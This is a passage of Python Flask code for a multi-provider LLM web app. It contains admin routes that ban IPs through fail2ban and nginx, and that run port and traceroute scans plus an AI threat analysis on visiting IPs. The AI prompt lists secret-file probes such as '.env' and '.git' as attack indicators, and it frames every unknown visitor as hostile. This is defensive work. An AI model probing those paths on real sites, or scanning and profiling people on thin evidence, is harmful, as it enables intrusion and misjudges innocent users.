"model": model, "prompt": prompt, "stream": False,
"options": {"num_ctx": num_ctx}
}, timeout=timeout)
resp.raise_for_status()
return resp.json()["response"]
def query_openai_compatible(model, prompt, provider_name, timeout):
cfg = load_config()
prov = cfg["providers"].get(provider_name, {})
base = prov.get("base_url", "https://openrouter.ai/api/v1")
api_key = get_api_key(provider_name)
headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"}
if provider_name == "openrouter":
headers["HTTP-Referer"] = "http://localhost:5000"
headers["X-Title"] = "LLM Team UI"
resp = requests.post(f"{base}/chat/completions", headers=headers, json={
"model": model, "messages": [{"role": "user", "content": prompt}], "stream": False,
}, timeout=timeout)
resp.raise_for_status()
return resp.json()["choices"][0]["message"]["content"]
def query_anthropic(model, prompt, timeout):
cfg = load_config()
prov = cfg["providers"].get("anthropic", {})
base = prov.get("base_url", "https://api.anthropic.com/v1")
api_key = get_api_key("anthropic")
resp = requests.post(f"{base}/messages", headers={
"x-api-key": api_key, "anthropic-version": "2023-06-01", "Content-Type": "application/json",
}, json={
"model": model, "max_tokens": 4096,
"messages": [{"role": "user", "content": prompt}],
}, timeout=timeout)
resp.raise_for_status()
return resp.json()["content"][0]["text"]
def query_model(model_id, prompt):
timeout = _get_timeout(model_id)
if "::" in model_id:
provider_name, model_name = model_id.split("::", 1)
if provider_name == "anthropic":
return query_anthropic(model_name, prompt, timeout)
return query_openai_compatible(model_name, prompt, provider_name, timeout)
return query_ollama(model_id, prompt, timeout)
# ─── CONTEXT MANAGEMENT ───────────────────────────────────────
# Context window sizes (tokens) — conservative estimates for safe prompting
MODEL_CONTEXT = {
"llama3.2": 4096, "llama3.1": 8192, "llama3": 8192,
"mistral": 8192, "gemma2": 8192, "gemma3": 32768,
"qwen2.5": 8192, "qwen3": 32768,
"gpt-oss": 4096, "gpt-4o": 128000, "gpt-4o-mini": 128000,
"claude-3": 200000, "claude-sonnet": 200000, "claude-haiku": 200000,
}
DEFAULT_CONTEXT = 4096 # safe fallback for unknown models
MAX_RESPONSE_CHARS = 12000 # cap individual responses (~3K tokens)
def estimate_tokens(text):
"""Rough token estimate: ~4 chars per token for English."""
return len(text) // 4 + 1
def get_context_limit(model_id):
"""Get context window size for a model."""
name = model_id.split("::")[-1].split(":")[0].lower()
for key, limit in MODEL_CONTEXT.items():
if key in name:
return limit
# OpenRouter models generally have larger contexts
if "::" in model_id:
return 16000
return DEFAULT_CONTEXT
def smart_truncate(text, max_tokens, preserve_end=200):
"""Truncate text preserving start and end, with a clear marker."""
if estimate_tokens(text) <= max_tokens:
return text
max_chars = max_tokens * 4
end_chars = preserve_end * 4
if max_chars <= end_chars * 2:
return text[:max_chars]
start = text[:max_chars - end_chars - 60]
end = text[-end_chars:]
return f"{start}\n\n[... truncated {estimate_tokens(text) - max_tokens} tokens ...]\n\n{end}"
def cap_response(text):
"""Cap a single model response to prevent runaway output."""
if len(text) <= MAX_RESPONSE_CHARS:
return text
return smart_truncate(text, MAX_RESPONSE_CHARS // 4)
def build_context(parts, model_id, reserve_for_response=1024):
"""Build a prompt from parts, fitting within model's context window.
parts: list of (label, text, priority) tuples
priority: 1=must keep, 2=important, 3=can truncate heavily
Returns: assembled prompt string that fits in context.
"""
limit = get_context_limit(model_id)
budget = limit - reserve_for_response
if budget <= 0:
budget = limit // 2
# First pass: measure everything
total = sum(estimate_tokens(t) for _, t, _ in parts)
if total <= budget:
return "\n\n".join(f"{label}\n{text}" if label else text for label, text, _ in parts)
# Need to truncate — allocate budget by priority
p1 = [(l, t, p) for l, t, p in parts if p == 1]
p2 = [(l, t, p) for l, t, p in parts if p == 2]
p3 = [(l, t, p) for l, t, p in parts if p == 3]
p1_tokens = sum(estimate_tokens(t) for _, t, _ in p1)
remaining = budget - p1_tokens
if remaining <= 0:
# Even priority 1 doesn't fit — truncate p1
per_part = budget // max(len(p1), 1)
result = []
for label, text, _ in p1:
result.append(f"{label}\n{smart_truncate(text, per_part)}" if label else smart_truncate(text, per_part))
return "\n\n".join(result)
# Allocate remaining to p2, then p3
result = [f"{l}\n{t}" if l else t for l, t, _ in p1]
for group in [p2, p3]:
if not group or remaining <= 0:
continue
per_part = remaining // max(len(group), 1)
for label, text, _ in group:
truncated = smart_truncate(text, max(per_part, 100))
result.append(f"{label}\n{truncated}" if label else truncated)
remaining -= estimate_tokens(truncated)
return "\n\n".join(result)
def safe_query(model_id, prompt, fallback_summarize=True):
"""Query with context safety — auto-truncates prompt if too large, retries on overflow errors."""
limit = get_context_limit(model_id)
prompt_tokens = estimate_tokens(prompt)
# Pre-flight check: truncate if obviously too large
if prompt_tokens > limit - 500:
prompt = smart_truncate(prompt, limit - 1000)
try:
response = query_model(model_id, prompt)
return cap_response(response)
except Exception as e:
err = str(e).lower()
# Detect context overflow errors from various providers
if any(k in err for k in ["context length", "too many tokens", "maximum context", "token limit",
"content_too_large", "request too large", "413", "400"]):
if fallback_summarize:
# Aggressive truncation and retry
truncated = smart_truncate(prompt, limit // 2)
try:
response = query_model(model_id, truncated)
return cap_response(response)
except Exception:
pass
return f"[Context overflow: prompt was ~{prompt_tokens} tokens, model limit ~{limit}. Response truncated to fit.]"
raise
def parallel_safe_query(models, prompt):
"""Like parallel_query but with context safety on each model."""
results = {}
max_timeout = max((_get_timeout(m) for m in models), default=300) + 30
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
futures = {pool.submit(safe_query, m, prompt): m for m in models}
for future in as_completed(futures, timeout=max_timeout):
model = futures[future]
try:
results[model] = future.result(timeout=10)
except Exception as e:
results[model] = f"Error: {e}"
return results
def sse(data):
return f"data: {json.dumps(data)}\n\n"
def parallel_query(models, prompt):
"""Query multiple models in parallel with context safety."""
return parallel_safe_query(models, prompt)
# ─── ROUTES ────────────────────────────────────────────────────
@app.route("/")
@login_required
def index():
return render_template_string(HTML)
@app.route("/api/models")
@login_required
def get_models():
SKIP = {"nomic-embed-text", "mxbai-embed-large", "all-minilm", "snowflake-arctic-embed"}
cfg = load_config()
models = []
# Local Ollama models
if cfg["providers"]["ollama"].get("enabled", True):
try:
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
resp = requests.get(f"{base}/api/tags", timeout=10)
seen = set()
for m in resp.json().get("models", []):
full = m["name"]
short = full.split(":")[0]
size = m.get("size", 0)
if short in SKIP or size < 1_000_000 or short in seen:
continue
if full in cfg.get("disabled_models", []):
continue
seen.add(short)
models.append({"name": full, "size": f"{size/(1024**3):.1f} GB",
"provider": "ollama", "provider_label": "Local",
"display_name": short})
except Exception:
pass
# Cloud models
for cm in cfg.get("cloud_models", []):
if not cm.get("enabled", True):
continue
prov = cm["id"].split("::")[0] if "::" in cm["id"] else "cloud"
if not cfg["providers"].get(prov, {}).get("enabled", False):
continue
models.append({"name": cm["id"], "size": cm.get("context", "cloud"),
"provider": prov, "provider_label": prov.title(),
"display_name": cm.get("display_name", cm["id"].split("::")[-1])})
return jsonify({"models": models})
# ─── ADMIN ROUTES ─────────────────────────────────────────────
@app.route("/admin")
@admin_required
def admin_page():
return render_template_string(ADMIN_HTML)
@app.route("/api/admin/config", methods=["GET"])
@admin_required
def admin_get_config():
cfg = load_config()
safe = json.loads(json.dumps(cfg))
for name, p in safe["providers"].items():
if p.get("api_key"):
p["api_key_set"] = True
p["api_key"] = ""
else:
p["api_key_set"] = bool(get_api_key(name))
return jsonify(safe)
@app.route("/api/admin/config", methods=["POST"])
@admin_required
def admin_save_config():
data = request.json
cfg = load_config()
# update providers (preserve existing keys if not sent)
for name, prov in data.get("providers", {}).items():
if name in cfg["providers"]:
new_key = prov.get("api_key", "")
if not new_key:
prov["api_key"] = cfg["providers"][name].get("api_key", "")
cfg["providers"][name].update(prov)
if "disabled_models" in data:
cfg["disabled_models"] = data["disabled_models"]
if "cloud_models" in data:
cfg["cloud_models"] = data["cloud_models"]
if "timeouts" in data:
cfg["timeouts"] = data["timeouts"]
save_config(cfg)
return jsonify({"ok": True})
@app.route("/api/admin/test-provider", methods=["POST"])
@admin_required
def admin_test_provider():
data = request.json
name = data.get("provider", "")
cfg = load_config()
prov = cfg["providers"].get(name, {})
try:
if name == "ollama":
r = requests.get(f"{prov.get('base_url', 'http://localhost:11434')}/api/tags", timeout=5)
count = len(r.json().get("models", []))
return jsonify({"ok": True, "message": f"Connected. {count} models available."})
elif name == "openrouter":
key = data.get("api_key") or get_api_key("openrouter")
r = requests.get(f"{prov.get('base_url', 'https://openrouter.ai/api/v1')}/models",
headers={"Authorization": f"Bearer {key}"}, timeout=10)
count = len(r.json().get("data", []))
return jsonify({"ok": True, "message": f"Connected. {count} models available."})
elif name == "openai":
key = data.get("api_key") or get_api_key("openai")
r = requests.get(f"{prov.get('base_url', 'https://api.openai.com/v1')}/models",
headers={"Authorization": f"Bearer {key}"}, timeout=10)
return jsonify({"ok": True, "message": f"Connected. {len(r.json().get('data', []))} models."})
elif name == "anthropic":
key = data.get("api_key") or get_api_key("anthropic")
r = requests.post(f"{prov.get('base_url', 'https://api.anthropic.com/v1')}/messages",
headers={"x-api-key": key, "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
json={"model": "claude-haiku-4-5-20251001", "max_tokens": 1, "messages": [{"role": "user", "content": "hi"}]},
timeout=10)
return jsonify({"ok": True, "message": "Connected to Anthropic."})
return jsonify({"ok": False, "message": "Unknown provider"})
except Exception as e:
return jsonify({"ok": False, "message": str(e)})
_or_models_cache = {"data": None, "ts": 0}
@app.route("/api/admin/openrouter/models")
@admin_required
def admin_openrouter_models():
import time
now = time.time()
if _or_models_cache["data"] and now - _or_models_cache["ts"] < 300:
return jsonify({"models": _or_models_cache["data"]})
key = get_api_key("openrouter")
headers = {"Authorization": f"Bearer {key}"} if key else {}
try:
r = requests.get("https://openrouter.ai/api/v1/models", headers=headers, timeout=15)
r.raise_for_status()
free = []
for m in r.json().get("data", []):
pricing = m.get("pricing", {})
if pricing.get("prompt") == "0" and pricing.get("completion") == "0":
free.append({"id": m["id"], "name": m.get("name", m["id"]),
"context_length": m.get("context_length", 0)})
_or_models_cache["data"] = free
_or_models_cache["ts"] = now
return jsonify({"models": free})
except Exception as e:
return jsonify({"models": [], "error": str(e)})
@app.route("/api/admin/ollama-models")
@admin_required
def admin_ollama_models():
cfg = load_config()
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
SKIP = {"nomic-embed-text", "mxbai-embed-large", "all-minilm", "snowflake-arctic-embed"}
try:
resp = requests.get(f"{base}/api/tags", timeout=10)
models = []
seen = set()
for m in resp.json().get("models", []):
full = m["name"]
short = full.split(":")[0]
size = m.get("size", 0)
if short in SKIP or size < 1_000_000 or short in seen:
continue
seen.add(short)
models.append({"name": full, "size": f"{size/(1024**3):.1f} GB",
"disabled": full in cfg.get("disabled_models", [])})
return jsonify({"models": models})
except Exception as e:
return jsonify({"models": [], "error": str(e)})
# ─── SECURITY DASHBOARD ───────────────────────────────────────
@app.route("/api/admin/security")
@admin_required
def admin_security_data():
"""Aggregate security log into IP-level threat intelligence with full fingerprints."""
import subprocess, collections
ips = collections.defaultdict(lambda: {
"hits": 0, "exploit_scans": 0, "login_fails": 0, "rate_limits": 0,
"first_seen": "", "last_seen": "", "paths": set(), "threat": "low",
"uas": set(), "methods": collections.Counter(), "log_lines": [],
"event_types": collections.Counter(), "ai_verdicts": []
})
try:
with open("/var/log/llm-team-security.log") as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split(" ", 2)
if len(parts) < 3:
continue
ts = parts[0] + " " + parts[1].split(",")[0]
rest = parts[2]
ip_match = None
for token in rest.split():
if token.startswith("ip="):
ip_match = token[3:]
break
if not ip_match:
# Check AI_BAN lines
if "AI_BAN" in rest or "AI_VERDICT" in rest:
for token in rest.split():
if token.startswith("ip="):
ip_match = token[3:]
break
if not ip_match:
continue
entry = ips[ip_match]
entry["hits"] += 1
if not entry["first_seen"]:
entry["first_seen"] = ts
entry["last_seen"] = ts
# Categorize event
if "EXPLOIT_SCAN" in rest:
entry["exploit_scans"] += 1
entry["event_types"]["exploit_scan"] += 1
elif "LOGIN_FAILED" in rest:
entry["login_fails"] += 1
entry["event_types"]["login_fail"] += 1
elif "RATE_LIMITED" in rest:
entry["rate_limits"] += 1
entry["event_types"]["rate_limit"] += 1
elif "AI_BAN" in rest:
entry["event_types"]["ai_ban"] += 1
elif "MANUAL_BAN" in rest:
entry["event_types"]["manual_ban"] += 1
elif "404_HIT" in rest:
entry["event_types"]["404"] += 1
# Extract fields
for token in rest.split():
if token.startswith("path="):
entry["paths"].add(token[5:])
elif token.startswith("method="):
entry["methods"][token[7:]] += 1
if "ua=" in rest:
ua = rest.split("ua=", 1)[1][:80]
entry["uas"].add(ua)
# Keep last 15 raw log lines per IP
entry["log_lines"].append(line)
if len(entry["log_lines"]) > 15:
entry["log_lines"].pop(0)
except Exception:
pass
# Attach AI sentinel verdicts
for v in _sentinel_results:
ip = v.get("ip", "")
if ip in ips:
ips[ip]["ai_verdicts"].append(v)
# Calculate threat level + fingerprint
for ip, d in ips.items():
if d["exploit_scans"] >= 3:
d["threat"] = "critical"
elif d["exploit_scans"] >= 1:
d["threat"] = "high"
elif d["login_fails"] >= 3:
d["threat"] = "high"
elif d["hits"] >= 10:
d["threat"] = "medium"
# Fingerprint: multiple UAs = rotating scanner
if len(d["uas"]) >= 3:
d["threat"] = max(d["threat"], "high", key=["low","medium","high","critical"].index)
d["paths"] = sorted(d["paths"])[:15]
d["uas"] = sorted(d["uas"])[:5]
d["methods"] = dict(d["methods"])
d["event_types"] = dict(d["event_types"])
# Get fail2ban status
banned = set()
ban_jails = {}
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
try:
result = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
for line in result.stdout.split("\n"):
if "Banned IP list" in line:
for ip in line.split(":", 1)[1].strip().split():
ip = ip.strip()
if ip:
banned.add(ip)
ban_jails.setdefault(ip, []).append(jail)
except Exception:
pass
# Build sorted result
sort_by = request.args.get("sort", "hits")
result = []
for ip, d in ips.items():
if ip.startswith("192.168."):
continue
result.append({
"ip": ip, "hits": d["hits"], "exploit_scans": d["exploit_scans"],
"login_fails": d["login_fails"], "rate_limits": d["rate_limits"],
"first_seen": d["first_seen"], "last_seen": d["last_seen"],
"paths": d["paths"], "uas": d["uas"], "methods": d["methods"],
"event_types": d["event_types"], "threat": d["threat"],
"banned": ip in banned, "ban_jails": ban_jails.get(ip, []),
"ua_count": len(d["uas"]),
"log_lines": d["log_lines"],
"ai_verdicts": d["ai_verdicts"]
})
# Sort
threat_order = {"critical": 4, "high": 3, "medium": 2, "low": 1}
if sort_by == "threat":
result.sort(key=lambda x: (threat_order.get(x["threat"], 0), x["hits"]), reverse=True)
elif sort_by == "recent":
result.sort(key=lambda x: x["last_seen"], reverse=True)
elif sort_by == "banned":
result.sort(key=lambda x: (x["banned"], x["hits"]), reverse=True)
else:
result.sort(key=lambda x: x["hits"], reverse=True)
return jsonify({"ips": result[:100], "total_banned": len(banned), "banned_list": sorted(banned)})
_NGINX_BAN_FILE = "/etc/nginx/banned_ips.conf"
def _kill_connections(ip):
"""Kill existing TCP connections from an IP so bans take effect instantly."""
import subprocess
try:
subprocess.run(["ss", "-K", "dst", ip], capture_output=True, text=True, timeout=5)
except Exception:
pass
def _nginx_ban(ip):
"""Add IP to nginx deny list and reload."""
import subprocess
try:
line = f"deny {ip};\n"
try:
with open(_NGINX_BAN_FILE) as f:
if line in f.read():
return
except FileNotFoundError:
pass
with open(_NGINX_BAN_FILE, "a") as f:
f.write(line)
subprocess.run(["systemctl", "reload", "nginx"], capture_output=True, timeout=5)
except Exception:
pass
def _nginx_unban(ip):
"""Remove IP from nginx deny list and reload."""
import subprocess
try:
with open(_NGINX_BAN_FILE) as f:
lines = f.readlines()
line = f"deny {ip};\n"
if line in lines:
lines.remove(line)
with open(_NGINX_BAN_FILE, "w") as f:
f.writelines(lines)
subprocess.run(["systemctl", "reload", "nginx"], capture_output=True, timeout=5)
except Exception:
pass
@app.route("/api/admin/security/ban", methods=["POST"])
@admin_required
def admin_ban_ip():
"""Manually ban/unban an IP via fail2ban."""
import subprocess
data = request.json or {}
ip = data.get("ip", "").strip()
action = data.get("action", "ban")
if not ip:
return jsonify({"error": "IP required"}), 400
if ip.startswith("192.168."):
return jsonify({"error": "Cannot ban LAN addresses"}), 400
try:
if action == "ban":
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
capture_output=True, text=True, timeout=5)
_nginx_ban(ip)
_kill_connections(ip)
sec_log.warning("MANUAL_BAN ip=%s by=%s", ip, session.get("username", "admin"))
return jsonify({"ok": True, "message": f"Banned {ip}"})
elif action == "unban":
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
subprocess.run(["fail2ban-client", "set", jail, "unbanip", ip],
capture_output=True, text=True, timeout=5)
_nginx_unban(ip)
sec_log.warning("MANUAL_UNBAN ip=%s by=%s", ip, session.get("username", "admin"))
return jsonify({"ok": True, "message": f"Unbanned {ip}"})
except Exception as e:
return jsonify({"error": str(e)}), 500
return jsonify({"error": "Invalid action"}), 400
@app.route("/api/admin/security/enrich", methods=["POST"])
@admin_required
def admin_enrich_ip():
"""Enrich an IP with geolocation, ISP, proxy detection, and AI analysis."""
data = request.json or {}
ip = data.get("ip", "").strip()
if not ip:
return jsonify({"error": "IP required"}), 400
result = {"ip": ip, "geo": None, "ai_analysis": None, "error": None}
# Step 1: Geolocation + ISP via ip-api.com
try:
geo_resp = requests.get(
f"http://ip-api.com/json/{ip}?fields=status,country,countryCode,regionName,city,isp,org,as,mobile,proxy,hosting,lat,lon,timezone",
timeout=5
)
geo = geo_resp.json()
if geo.get("status") == "success":
result["geo"] = geo
else:
result["geo"] = {"error": "lookup failed"}
except Exception as e:
result["geo"] = {"error": str(e)}
# Step 2: Gather all log data for this IP
ip_logs = []
try:
with open("/var/log/llm-team-security.log") as f:
for line in f:
if f"ip={ip}" in line:
ip_logs.append(line.strip())
except Exception:
pass
# Step 3: Web-Check deep scan (ports, DNS, blocklists, traceroute)
WEB_CHECK_BASE = "http://localhost:3000/api"
webcheck = {}
for endpoint in ["ports", "dns", "block-lists", "trace-route", "headers", "status"]:
try:
wc_resp = requests.get(f"{WEB_CHECK_BASE}/{endpoint}?url={ip}", timeout=20)
if wc_resp.status_code == 200:
data = wc_resp.json()
if not isinstance(data, dict) or not data.get("error"):
webcheck[endpoint.replace("-", "_")] = data
except Exception:
pass
result["webcheck"] = webcheck
# Step 4: AI threat analysis with full context (including web-check data)
try:
geo_ctx = ""
if result["geo"] and not result["geo"].get("error"):
g = result["geo"]
geo_ctx = f"Geolocation: {g.get('city','?')}, {g.get('regionName','?')}, {g.get('country','?')}\n"
geo_ctx += f"ISP: {g.get('isp','?')} | Org: {g.get('org','?')} | AS: {g.get('as','?')}\n"
geo_ctx += f"Proxy: {g.get('proxy',False)} | Hosting: {g.get('hosting',False)} | Mobile: {g.get('mobile',False)}\n"
# Add web-check data if available
wc_ctx = ""
if webcheck.get("ports"):
open_ports = webcheck["ports"].get("openPorts", [])
if open_ports:
wc_ctx += f"Open ports: {', '.join(str(p) for p in open_ports)}\n"
if webcheck.get("block_lists"):
blocked = [b["server"] for b in webcheck["block_lists"].get("blocklists", []) if b.get("isBlocked")]
if blocked:
wc_ctx += f"Blocked on {len(blocked)} DNS blocklists: {', '.join(blocked[:5])}\n"
if webcheck.get("trace_route") and webcheck["trace_route"].get("result"):
hops = [list(h.keys())[0] for h in webcheck["trace_route"]["result"] if isinstance(h, dict)]
if hops:
wc_ctx += f"Traceroute ({len(hops)} hops): {''.join(hops[:8])}\n"
log_ctx = "\n".join(ip_logs[-20:]) if ip_logs else "No log entries found."
prompt = (
f"You are an aggressive cybersecurity analyst protecting a production web application. "
f"Provide a detailed threat assessment for IP {ip}. "
f"This is a PRIVATE application — there is NO legitimate reason for unknown IPs to scan it.\n\n"
f"{geo_ctx}{wc_ctx}\n"
f"Activity log ({len(ip_logs)} total entries, showing last 20):\n{log_ctx}\n\n"
"THREAT LEVEL RULES (follow strictly):\n"
"- critical: ANY exploit scan (.env, .git, wp-admin, etc.) OR blocked on multiple DNS blocklists OR multiple user agents\n"
"- high: probing non-existent paths repeatedly OR hosting/proxy IP OR port scan shows only SSH\n"
"- medium: a few 404s on common paths from non-proxy IP\n"
"- low: single benign request (robots.txt, favicon)\n"
"- An IP blocked on 10+ DNS blocklists is ALWAYS critical regardless of log activity\n"
"- An IP with only port 22 open and no web service is suspicious infrastructure\n\n"
"Provide your analysis as JSON:\n"
'{"threat_level": "none|low|medium|high|critical",\n'
' "classification": "scanner|bruteforce|bot|researcher|targeted_attack|compromised_host|legitimate",\n'
' "confidence": 0.0-1.0,\n'
' "summary": "2-3 sentence threat assessment",\n'
' "indicators": ["list of specific indicators found"],\n'
' "recommendation": "specific recommended action — ban permanently, ban 24h, monitor, or ignore",\n'
' "likely_automated": true/false,\n'
' "pattern": "description of attack pattern if any"}\n'
)
cfg = load_config()
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
ai_resp = requests.post(f"{base}/api/generate", json={
"model": SENTINEL_MODEL, "prompt": prompt, "stream": False,
"options": {"num_ctx": 4096, "temperature": 0.1}
}, timeout=60)
ai_resp.raise_for_status()
ai_text = ai_resp.json()["response"]
# Parse JSON from AI response
text = ai_text.strip()
if "```" in text:
text = text.split("```")[1]
if text.startswith("json"):
text = text[4:]
start_idx = text.find("{")
end_idx = text.rfind("}") + 1
if start_idx >= 0 and end_idx > start_idx:
result["ai_analysis"] = json.loads(text[start_idx:end_idx])
else:
result["ai_analysis"] = {"raw": ai_text[:500]}
except Exception as e:
result["ai_analysis"] = {"error": str(e)}
result["log_count"] = len(ip_logs)
# Step 5: Save to Wall of Shame database
try:
geo = result.get("geo") or {}
ai = result.get("ai_analysis") or {}
wc = result.get("webcheck") or {}
open_ports = json.dumps(wc.get("ports", {}).get("openPorts", []))
bl = wc.get("block_lists", {}).get("blocklists", [])
blocked = [b["server"] for b in bl if b.get("isBlocked")]
tr_hops = []
if wc.get("trace_route") and wc["trace_route"].get("result"):
for h in wc["trace_route"]["result"]:
if isinstance(h, dict):
hop_ip = list(h.keys())[0]
tr_hops.append({"ip": hop_ip, "latency": h[hop_ip][0] if h[hop_ip] else None})
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("""
INSERT INTO threat_intel (ip, threat_level, classification, confidence, summary,
indicators, recommendation, pattern, attack_type, likely_automated,
country, country_code, city, isp, org, asn, is_proxy, is_hosting,
open_ports, blocklist_count, blocklist_total, blocklists_blocked,
reverse_dns, traceroute, log_count, banned, raw_data, enriched_at, updated_at)
VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,NOW(),NOW())
ON CONFLICT (ip) DO UPDATE SET
threat_level=EXCLUDED.threat_level, classification=EXCLUDED.classification,
confidence=EXCLUDED.confidence, summary=EXCLUDED.summary,
indicators=EXCLUDED.indicators, recommendation=EXCLUDED.recommendation,
pattern=EXCLUDED.pattern, attack_type=EXCLUDED.attack_type,
likely_automated=EXCLUDED.likely_automated,
country=EXCLUDED.country, country_code=EXCLUDED.country_code, city=EXCLUDED.city,
isp=EXCLUDED.isp, org=EXCLUDED.org, asn=EXCLUDED.asn,
is_proxy=EXCLUDED.is_proxy, is_hosting=EXCLUDED.is_hosting,
open_ports=EXCLUDED.open_ports, blocklist_count=EXCLUDED.blocklist_count,
blocklist_total=EXCLUDED.blocklist_total, blocklists_blocked=EXCLUDED.blocklists_blocked,
reverse_dns=EXCLUDED.reverse_dns, traceroute=EXCLUDED.traceroute,
log_count=EXCLUDED.log_count, banned=EXCLUDED.banned,
raw_data=EXCLUDED.raw_data, updated_at=NOW()
""", (
ip, ai.get("threat_level", "unknown"), ai.get("classification"),
ai.get("confidence", 0), ai.get("summary"),
json.dumps(ai.get("indicators", [])), ai.get("recommendation"),
ai.get("pattern"), ai.get("attack_type"), ai.get("likely_automated", False),
geo.get("country"), geo.get("countryCode"), geo.get("city"),
geo.get("isp"), geo.get("org"), geo.get("as"),
geo.get("proxy", False), geo.get("hosting", False),
open_ports, len(blocked), len(bl), json.dumps(blocked),
"", json.dumps(tr_hops), len(ip_logs),
ip in _get_banned_ips(), json.dumps(result)
))
conn.commit()
result["saved"] = True
except Exception as e:
result["saved"] = False
result["save_error"] = str(e)
return jsonify(result)
def _get_banned_ips():
"""Quick check of all banned IPs."""
import subprocess
banned = set()
for jail in ["llm-team-exploit", "llm-team-login"]:
try:
r = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
for line in r.stdout.split("\n"):
if "Banned IP list" in line:
for ip in line.split(":", 1)[1].strip().split():
banned.add(ip.strip())
except Exception:
pass
return banned
@app.route("/api/admin/wall-of-shame")
@admin_required
def admin_wall_of_shame():
"""Return all enriched threat intel from the database."""
sort = request.args.get("sort", "enriched_at")
order = request.args.get("order", "desc")
threat_filter = request.args.get("threat", "")
allowed_sorts = {"enriched_at", "threat_level", "confidence", "blocklist_count", "log_count", "ip"}
if sort not in allowed_sorts:
sort = "enriched_at"
order_sql = "DESC" if order == "desc" else "ASC"
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
if threat_filter:
cur.execute(f"SELECT * FROM threat_intel WHERE threat_level = %s ORDER BY {sort} {order_sql} LIMIT 200", (threat_filter,))
else:
cur.execute(f"SELECT * FROM threat_intel ORDER BY {sort} {order_sql} LIMIT 200")
rows = cur.fetchall()
for r in rows:
r["enriched_at"] = r["enriched_at"].isoformat() if r["enriched_at"] else None
r["updated_at"] = r["updated_at"].isoformat() if r["updated_at"] else None
return jsonify({"entries": rows, "total": len(rows)})
except Exception as e:
return jsonify({"entries": [], "error": str(e)})
@app.route("/api/admin/security/mass-ban", methods=["POST"])
@admin_required
def admin_mass_ban():
"""Ban or unban multiple IPs at once."""
import subprocess
data = request.json or {}
ip_list = data.get("ips", [])
action = data.get("action", "ban")
if not ip_list:
return jsonify({"error": "No IPs provided"}), 400
results = {"success": 0, "failed": 0, "skipped": 0}
for ip in ip_list:
ip = ip.strip()
if not ip or ip.startswith("192.168."):
results["skipped"] += 1
continue
try:
if action == "ban":
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
capture_output=True, text=True, timeout=5)
_nginx_ban(ip)
_kill_connections(ip)
sec_log.warning("MASS_BAN ip=%s by=%s", ip, session.get("username", "admin"))
elif action == "unban":
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
subprocess.run(["fail2ban-client", "set", jail, "unbanip", ip],
capture_output=True, text=True, timeout=5)
_nginx_unban(ip)
sec_log.warning("MASS_UNBAN ip=%s by=%s", ip, session.get("username", "admin"))
results["success"] += 1
except Exception:
results["failed"] += 1
return jsonify({"ok": True, "results": results})
# ─── ADMIN MONITOR ─────────────────────────────────────────────
@app.route("/api/admin/analytics")
@admin_required
def admin_analytics():
"""Analytics: score-by-mode, score-by-model, heatmap, trend."""
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("""
SELECT mode, COUNT(*) as runs, ROUND(AVG(quality_score)::numeric, 2) as avg_score,
ROUND(STDDEV(quality_score)::numeric, 2) as std_score
FROM team_runs WHERE quality_score IS NOT NULL
GROUP BY mode ORDER BY avg_score DESC
""")
by_mode = [dict(r) for r in cur.fetchall()]
cur.execute("""
SELECT m as model, COUNT(*) as runs, ROUND(AVG(quality_score)::numeric, 2) as avg_score
FROM team_runs, unnest(models_used) as m
WHERE quality_score IS NOT NULL
GROUP BY m ORDER BY avg_score DESC
""")
by_model = [dict(r) for r in cur.fetchall()]
cur.execute("""
SELECT mode, m as model, COUNT(*) as runs, ROUND(AVG(quality_score)::numeric, 2) as avg_score
FROM team_runs, unnest(models_used) as m
WHERE quality_score IS NOT NULL
GROUP BY mode, m HAVING COUNT(*) >= 2
ORDER BY avg_score DESC
""")
heatmap = [dict(r) for r in cur.fetchall()]
cur.execute("""
SELECT DATE(created_at) as day, COUNT(*) as runs, ROUND(AVG(quality_score)::numeric, 2) as avg_score
FROM team_runs WHERE quality_score IS NOT NULL AND created_at > NOW() - INTERVAL '30 days'
GROUP BY DATE(created_at) ORDER BY day
""")
trend = [{"day": str(r["day"]), "runs": r["runs"], "avg_score": float(r["avg_score"])} for r in cur.fetchall()]
cur.execute("SELECT COUNT(*) as total, COUNT(quality_score) as scored FROM team_runs WHERE archived = false")
coverage = dict(cur.fetchone())
return jsonify({"by_mode": by_mode, "by_model": by_model, "heatmap": heatmap, "trend": trend, "coverage": coverage})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/suggest-models")
@login_required
def suggest_models():
"""Return top-performing models for a given mode based on historical scores."""
mode = request.args.get("mode", "")
routing = _build_routing_table()
perf = routing.get("model_perf", {}).get(mode, [])
return jsonify({"mode": mode, "suggestions": perf[:3]})
@app.route("/admin/monitor")
@admin_required
def monitor_page():
return MONITOR_HTML
@app.route("/api/admin/monitor")
@admin_required
def monitor_data():
active = []
for rid, r in _active_runs.items():
active.append({
"run_id": rid, "mode": r["mode"], "user": r["user"],
"prompt": r["prompt"], "elapsed": round(time.time() - r["started"], 1),
"step": r["step"], "total_steps": r["total_steps"],
"substep": r["substep"], "events": r["events"],
"errors": len(r["errors"]), "responses_size": r["responses_size"],
"error_details": r["errors"][-3:] # last 3 errors
})
recent = list(reversed(_run_log[-20:]))
